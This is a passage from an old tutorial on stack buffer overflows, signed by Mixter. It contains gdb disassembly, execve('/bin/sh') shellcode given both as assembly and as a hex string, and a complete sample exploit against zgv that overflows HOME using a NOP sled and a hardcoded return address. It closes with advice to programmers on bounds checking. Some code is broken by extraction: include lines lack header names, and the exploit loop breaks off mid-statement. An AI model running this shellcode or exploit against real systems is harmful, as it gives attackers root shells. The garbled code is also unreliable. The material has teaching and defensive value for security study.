: pushl %ebp 0x80484c9 : movl %esp,%ebp 0x80484cb : call 0x80484a0 0x80484d0 : leave 0x80484d1 : ret (gdb) disas lame Dump of assembler code for function lame: /* saving the frame pointer onto the stack right before the ret address */ 0x80484a0 : pushl %ebp 0x80484a1 : movl %esp,%ebp /* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the memory is allocated 4byte-wise (because the processor uses 32bit words) this is the equivalent to: char small[30]; */ 0x80484a3 : subl $0x20,%esp /* load a pointer to small[30] (the space on the stack, which is located at virtual address 0xffffffe0(%ebp)) on the stack, and call the gets function: gets(small); */ 0x80484a6 : leal 0xffffffe0(%ebp),%eax 0x80484a9 : pushl %eax 0x80484aa : call 0x80483ec 0x80484af : addl $0x4,%esp /* load the address of small and the address of "%s\n" string on stack and call the print function: printf("%s\n", small); */ 0x80484b2 : leal 0xffffffe0(%ebp),%eax 0x80484b5 : pushl %eax 0x80484b6 : pushl $0x804852c 0x80484bb : call 0x80483dc 0x80484c0 : addl $0x8,%esp /* get the return address, 0x80484d0, from stack and return to that address. you don't see that explicitly here because it is done by the CPU as 'ret' */ 0x80484c3 : leave 0x80484c4 : ret End of assembler dump. 3a. Overflowing the program # ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx # ./blah xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Segmentation fault (core dumped) # gdb blah core (gdb) info registers eax: 0x24 36 ecx: 0x804852f 134513967 edx: 0x1 1 ebx: 0x11a3c8 1156040 esp: 0xbffffdb8 -1073742408 ebp: 0x787878 7895160 ^^^^^^ EBP is 0x787878, this means that we have written more data on the stack than the input buffer could handle. 0x78 is the hex representation of 'x'. The process had a buffer of 32 bytes maximum size. We have written more data into memory than allocated for user input and therefore overwritten EBP and the return address with 'xxxx', and the process tried to resume execution at address 0x787878, which caused it to get a segmentation fault. 3b. Changing the return address Lets try to exploit the program to return to lame() instead of return. We have to change the return address form 0x80484d0 to 0x80484cb. In memory, we have: 32 bytes buffer space | 4 bytes saved EBP | 4 bytes RET Here is a simple program to put the 4byte return address into a 1byte character buffer: main() { int i=0; char buf[44]; for (i=0;i<=40;i+=4) *(long *) &buf[i] = 0x80484cb; puts(buf); } # ret �����������, # (ret;cat)|./blah test <- user input �����������,test test <- user input test Here we are, the program went through the function two times. If an overflow is present, the return address of functions can be changed to alter the programs execution thread. 4. Shellcode To keep it simple, shellcode is simply assembler commands, which we write on the stack and then change the return address to return to the stack. Using this method, we can insert code into a vulnerable process and then execute it right on the stack. So, let us generate insertable assembler code to run a shell. A common system call is execve(), which loads and runs any binary, terminating execution of the current process. The manpage gives us the usage: int execve (const char *filename, char *const argv [], char *const envp[]); Let us get the details of the system call from glibc2: # gdb /lib/libc.so.6 (gdb) disas execve Dump of assembler code for function execve: 0x5da00 : pushl %ebx /* this is the actual syscall. before a program would call execve, it would push the arguments in reverse order on the stack: **envp, **argv, *filename */ /* put address of **envp into edx register */ 0x5da01 : movl 0x10(%esp,1),%edx /* put address of **argv into ecx register */ 0x5da05 : movl 0xc(%esp,1),%ecx /* put address of *filename into ebx register */ 0x5da09 : movl 0x8(%esp,1),%ebx /* put 0xb in eax register; 0xb == execve in the internal system call table */ 0x5da0d : movl $0xb,%eax /* give control to kernel, to execute execve instruction */ 0x5da12 : int $0x80 0x5da14 : popl %ebx 0x5da15 : cmpl $0xfffff001,%eax 0x5da1a : jae 0x5da1d <__syscall_error> 0x5da1c : ret End of assembler dump. 4a. Making the code portable We have to apply a trick to be able to make shellcode without having to reference the arguments in memory the conventional way, by giving their exact address on the memory page, which can only be done at compile time. Once we can estimate the size of the shellcode, we can use the instructions jmp and call to go a specified number of bytes back or forth in the execution thread. Why use a call? We have the opportunity that a CALL will automatically store the return address on the stack, the return address being the next 4 bytes after the CALL instruction. By placing a variable right behind the call, we indirectly push its address on the stack without having to know it. 0 jmp (skip Z bytes forward) 2 popl %esi ... put function(s) here ... Z call <-Z+2> (skip 2 less than Z bytes backward, to POPL) Z+5 .string (first variable) (Note: If you are going to write code more complex than for spawning a simple shell, you can put more than one .string behind the code. You know the size of those strings and can therefore calculate their relative locations once you know where the first string is located.) 4b. The shellcode global code_start /* we'll need this later, do not mind it */ global code_end .data code_start: jmp 0x17 popl %esi movl %esi,0x8(%esi) /* put address of **argv behind shellcode, 0x8 bytes behind it so a /bin/sh has place */ xorl %eax,%eax /* put 0 in %eax */ movb %eax,0x7(%esi) /* put terminating 0 after /bin/sh string */ movl %eax,0xc(%esi) /* another 0 to get the size of a long word */ my_execve: movb $0xb,%al /* execve( */ movl %esi,%ebx /* "/bin/sh", */ leal 0x8(%esi),%ecx /* & of "/bin/sh", */ xorl %edx,%edx /* NULL */ int $0x80 /* ); */ call -0x1c .string "/bin/shX" /* X is overwritten by movb %eax,0x7(%esi) */ code_end: (The relative offsets 0x17 and -0x1c can be gained by putting in 0x0, compiling, disassembling, and then looking at the shell codes size.) This is already working shellcode, though minimal. You should at least disassemble the exit() syscall and attach it (before the 'call'). The real art of making shellcode also consists of avoiding any binary zeroes in the code (indicates end of input/buffer very often) and modify it for example, so the binary code does not contain control or lower characters, which would get filtered out by some vulnerable programs. Most of this stuff is done by self-modifying code, as we had in the movb %eax,0x7(%esi) instruction. We replaced the X with \0, but without having a \0 in the shellcode initially... Let us test this code... save the above code as code.S (remove comments) and the following file as code.c: extern void code_start(); extern void code_end(); #include main() { ((void (*)(void)) code_start)(); } # cc -o code code.S code.c # ./code bash# You can now convert the shellcode to a hex char buffer. Best way to do this is, print it out: #include extern void code_start(); extern void code_end(); main() { fprintf(stderr,"%s",code_start); } and parse it through aconv -h or bin2c.pl, those tools can be found at: http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity. 5. Writing an exploit Let us look at how to change the return address to point to shellcode put on the stack, and write a sample exploit. We will take zgv, because that is one of the easiest things to exploit out there. # export HOME=`perl -e 'printf "a" x 2000'` # zgv Segmentation fault (core dumped) # gdb /usr/bin/zgv core #0 0x61616161 in ?? () (gdb) info register esp esp: 0xbffff574 -1073744524 Well, this is the top of the stack at crash time. It is safe to presume that we can use this as return address to our shellcode. We will now add some NOP (no operation) instructions before our buffer, so we do not have to be 100% correct regarding the prediction of the exact start of our shellcode in memory (or even brute forcing it). The function will return onto the stack somewhere before our shellcode, work its way through the NOPs to the initial JMP command, jump to the CALL, jump back to the popl, and run our code on the stack. Remember, the stack looks like this: at the lowest memory address, the top of the stack where ESP points to, the initial variables are stored, namely the buffer in zgv that stores the HOME environment variable. After that, we have the saved EBP(4bytes) and the return address of the previous function. We must write 8 bytes or more behind the buffer to overwrite the return address with our new address on the stack. The buffer in zgv is 1024 bytes big. You can find that out by glancing at the code, or by searching for the initial subl $0x400,%esp (=1024) in the vulnerable function. We will now put all those parts together in the exploit: 5a. Sample zgv exploit /* zgv v3.0 exploit by Mixter buffer overflow tutorial - http://1337.tsx.org sample exploit, works for example with precompiled redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */ #include #include #include /* This is the minimal shellcode from the tutorial */ static char shellcode[]= "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d" "\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58"; #define NOP 0x90 #define LEN 1032 #define RET 0xbffff574 int main() { char buffer[LEN]; long retaddr = RET; int i; fprintf(stderr,"using address 0x%lx\n",retaddr); /* this fills the whole buffer with the return address, see 3b) */ for (i=0;i function() -> strcpy(smallbuffer,getenv("HOME")); At this point, zgv fails to do bounds checking, writes beyond the small buffer, and the return address to main is overwritten with the return address on the stack. function() does leave/ret and the EIP points onto the stack: 0xbffff574 nop 0xbffff575 nop 0xbffff576 nop 0xbffff577 jmp $0x24 1 0xbffff579 popl %esi 3 <--\ | [... shellcode starts here ...] | | 0xbffff59b call -$0x1c 2 <--/ 0xbffff59e .string "/bin/shX" Lets test the exploit... # cc -o zgx zgx.c # ./zgx using address 0xbffff574 bash# 5b. Further tips on writing exploits There are many programs that are tough to exploit, but nonetheless vulnerable. However, there are many tricks you can do to get behind filtering and such. Also other overflow techniques do not necessarily include changing the return address at all or only the return address. There are so-called pointer overflows, where a pointer that a function allocates can be overwritten by an overflow, altering the programs execution flow (an example is the RoTShB bind 4.9 exploit), and exploits where the return address points to the shells environment pointer, where the shellcode is located instead of being on the stack (this defeats very small buffers, and Non-executable stack patches, and can fool some security programs, though it can only be performed locally). Another important subject for the skilled shellcode author is radically self-modifying code, which initially only consists of printable, non-white upper case characters, and then modifies itself to put functional shellcode on the stack which it executes, etc. You should never, ever have any binary zeroes in your shell code, because it will most possibly not work if it contains any. However, discussing how to sublimate certain assembler commands with others would go beyond the scope of this paper. We also suggest reading the other great overflow howto's out there, written by aleph1, Taeoh Oh and mudge. 6. Conclusions We have learned, that once an overflow is present which is user dependent, it can be exploited about 90% of the time, even though exploiting some situations is difficult and takes some skill. Why is it important to write exploits? Because ignorance is omniscient in the software industry. There have already been reports of vulnerabilities due to buffer overflows in software, though the software has not been updated, or the majority of users did not update, because the vulnerability was hard to exploit and nobody believed it created a security risk. Then, an exploit actually comes out, proves, and practically enables a program to be exploitable, and there is usually a big (necessary) hurry to update it. As for the programmer (you), it is a hard task to write secure programs, but it should be taken very serious. This is an especially large concern when writing servers, any type of security programs, or programs that are suid root, or designed to be run by root, any special accounts, or the system itself. Apply bounds checking (strn*, sn*, functions instead of sprintf etc.), prefer allocating buffers of a dynamic, input-dependent, size, be careful on for/while/etc. loops that gather data and stuff it into a buffer, and generally handle user input with very much care are the main principles we suggested. There has also been made notable effort of the security industry to prevent overflow problems with techniques like non-executable stack, suid wrappers, guard programs that check return addresses, bounds checking compilers, and so on. You should make use of those techniques where possible, but do not fully rely on them. Do not assume to be safe at all, if you run a vanilla two-year old UNIX distribution without updates, but overflow protection or (even more stupid) firewalling/IDS. It cannot assure security, if you continue to use insecure programs because _all_ security programs are _software_ and can contain vulnerabilities themselves, or at least not be perfect. If you apply frequent updates _and_ security measures, you can still not expect to be secure, _but_ you can hope. by Mixter.